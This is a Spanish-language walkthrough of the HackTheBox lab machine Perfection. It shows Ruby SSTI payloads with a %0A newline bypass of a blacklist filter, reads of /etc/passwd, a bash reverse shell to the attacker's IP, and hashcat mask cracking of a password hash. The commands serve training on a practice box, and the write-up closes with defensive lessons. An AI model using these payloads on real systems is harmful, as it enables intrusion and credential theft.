
Writeup de la máquina Perfection (HackTheBox · Linux · Fácil) por NeMeZIS (@_emmb15). Aloja un servidor HTTP en Ruby (WEBrick) con un input mal sanitizado → SSTI (Server-Side Template Injection). Hacemos un bypass del filtro para colar una reverse shell y entramos como la usuaria susan; en su /home hay una base de datos con su hash, y un correo en /var/mail nos revela el patrón de su contraseña. Con eso montamos un ataque de máscara con hashcat, crackeamos el hash y, como susan está en el grupo sudo, saltamos a root. Las IPs reales se omiten a propósito (<IP HTB> para la víctima, <IP VPN> para el atacante): reemplazalas por las de tu instancia.
Créditos: parte de la metodología está inspirada en el contenido educativo de S4vitar (video). Todos los créditos a él por el enfoque de enseñanza.
Técnicas utilizadas
| Fase | Técnica | Descripción |
|---|---|---|
| Reconocimiento | Escaneo de puertos (Nmap) | Identificación de servicios expuestos |
| Enumeración | Análisis de la aplicación web | Detección de WEBrick (Ruby) como vector clave |
| Explotación | SSTI | Bypass del regex con salto de línea %0A |
| Explotación | Reverse Shell | Payload SSTI para obtener shell remota |
| Post-explotación | Enumeración interna | Hash en una base de datos SQLite + correo en /var/mail/susan |
| Escalada | Cracking por fuerza bruta (máscara) | Hashcat con el patrón revelado en el correo |
| Acceso | Credenciales crackeadas → root | susan está en el grupo sudo |
Fase 1 · Reconocimiento
Arrancamos con un escaneo de todos los puertos para ver qué está expuesto:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP HTB>

Con los puertos identificados (22/SSH y 80/HTTP) lanzamos un escaneo de versiones y scripts por defecto:
nmap -sCV -p22,80 <IP HTB>

searchsploit openssh no da nada aprovechable (la versión está al día) y whatweb tampoco revela mucho. No aparece un dominio asociado, así que por ahora no tocamos /etc/hosts y accedemos directo por la IP en el navegador:

Fase 2 · Enumeración de la web
Explorando el sitio saltan tres cosas relevantes:
- En el footer se ve que la página corre sobre WEBrick 1.7.0 — un posible vector si es una versión vulnerable.

- En About Us hay una descripción del equipo; esos nombres podrían ser usuarios enumerables más adelante.

- La funcionalidad principal, Calculate your weighted grade, tiene varios inputs — candidatos naturales a algún tipo de inyección.

Investigando WEBrick 1.7.0:

Resulta ser una biblioteca del lenguaje Ruby popular para desarrollo web, y la inyección de código aparece como vector plausible — justo lo que sospechábamos del formulario de notas.

Probamos primero una inyección SQL básica (' OR '1'='1):

Parece haber sanitización que bloquea comandos maliciosos. Probando caracteres especiales sueltos vemos que no todos están bloqueados, así que toca mapear cuáles pasan y cuáles no para reducir el tipo de inyección:

Como sí permite ciertos caracteres, buscamos inyecciones propias de Ruby en PayloadsAllTheThings:

Ahí hay ejemplos básicos de ejecución que podemos probar:

La prueba clásica: si el servidor evalúa la expresión, nos devuelve el resultado de la operación.
<%= 7 * 7 %> → 49
Fase 3 · Bypass del filtro y confirmación del SSTI
Para trabajar cómodo interceptamos con Burp Suite vía un proxy (FoxyProxy en 127.0.0.1:8080):


Reenviamos la petición para que Burp capture el tráfico:

Con CTRL + R la mandamos al Repeater para modificar los parámetros:

Probando caracteres vemos cómo responde el WAF:

Un * directo da error:

Al copiar el payload tal cual también falla: las peticiones web deben ir URL-encodeadas. Seleccionamos y damos CTRL + U:


Aun así sigue bloqueado — el sistema filtra la inyección:

El truco para burlar el filtro es URL-encodear un salto de línea. Con man 7 ascii vemos sus representaciones:
LF · '\n' · New Line · 10 · 0A

Probamos un * después de un salto de línea (%0A) a ver si ahora pasa:


Efectivamente, se salta la sanitización. Ahora la inyección de prueba <%= 7 * 7 %> (recordá URL-encodear):


La operación se ejecuta: confirmado el SSTI y con ello ejecución remota de código.
Fase 4 · De SSTI a reverse shell
Con la ruta confirmada, leemos el /etc/passwd de la víctima (exposición de información sensible):
<%= File.open('/etc/passwd').read %>


Con id vemos qué usuario ejecuta los procesos:
<%= IO.popen('id').readlines() %>

Para la reverse shell nos ponemos en escucha por el 443 en la máquina atacante…
sudo nc -lvnp 443

…e inyectamos el payload de conexión:
bash -c "bash -i >& /dev/tcp/<IP VPN>/443 0>&1"
En Burp mandamos la petición con CTRL + ESPACIO y recibimos la shell:

Fase 5 · Tratamiento de la consola y user flag
Para operar sin que se cierre la consola al hacer CTRL + C, hacemos el tratamiento clásico de la TTY:
script /dev/null -c bash
# CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows 38 columns 168
Ya con una shell decente navegamos y encontramos la user flag:

Fase 6 · Reconocimiento interno para escalar
Vemos nuestros permisos con id:

Estamos en el grupo sudo: si conseguimos la contraseña de susan, escalamos. Buscamos archivos que pertenezcan a susan, quitando el ruido de /home y /proc:
find / -user susan -o -group susan 2>/dev/null | grep -vE "home|proc"

Nos fijamos en /var/mail: puede haber correo en la bandeja.
cat /var/mail/susan

El correo sugiere el formato de la contraseña del servicio:
{nombre}_{nombre al revés}_{número al azar entre 1 y 1 000 000 000}
Que para susan sería:
susan_nasus_{número}
Ya tenemos media contraseña armada. Antes de irnos a fuerza bruta (que lleva tiempo), seguimos buscando con find . y aparece un archivo sospechoso por su nombre:

Lo inspeccionamos:

Es una base de datos SQLite 3, así que la abrimos y consultamos con SQL:

Encontramos los usuarios con sus contraseñas hasheadas:

Nos quedamos con el de susan (del que ya tenemos parte de la contraseña) y lo guardamos en un archivo hash:

Fase 7 · Cracking del hash y root
Identificamos el tipo con hashid hash → apunta a SHA-256. Con hashcat --help elegimos un ataque de máscara (-a 3), completando la parte desconocida con dígitos (?d):
hashcat -a 3 hash "susan_nasus_?d?d?d?d?d?d?d?d?d" -O -m 1400

| Parámetro | Significado |
|---|---|
-a 3 | Modo de ataque por máscara (prueba todas las combinaciones que encajen) |
-m 1400 | Tipo de hash: SHA-256 |
?d | Un dígito del 0 al 9 (uno por cada cifra del número aleatorio) |
-O | Optimizaciones de rendimiento |
Tras un rato, hashcat crackea el hash:

Volvemos a la shell de susan, y como está en el grupo sudo, con esa contraseña saltamos a root y leemos la flag final:
sudo su

Máquina completada. 🚩
Lecciones
- Nunca metas input del usuario dentro de una plantilla del servidor. El SSTI nació de incrustar lo que escribía el usuario en el motor de Ruby. La entrada debe ser un dato, no parte del código de la plantilla.
- La sanitización por lista negra se rompe. Filtrar caracteres sueltos no alcanzó: un simple
%0A(salto de línea) burló el WAF. Validá contra una lista blanca estricta de lo permitido. - No guardes hashes crackeables ni pistas de la contraseña. El SHA-256 sin salt + el correo que revelaba el patrón (
nombre_nombre-al-revés_número) redujeron el espacio de búsqueda de "imposible" a minutos de hashcat. - Principio de mínimo privilegio. Tener a susan en el grupo
sudoconALLconvirtió un foothold de usuario en root directo. El proceso web tampoco debería correr con acceso a archivos sensibles.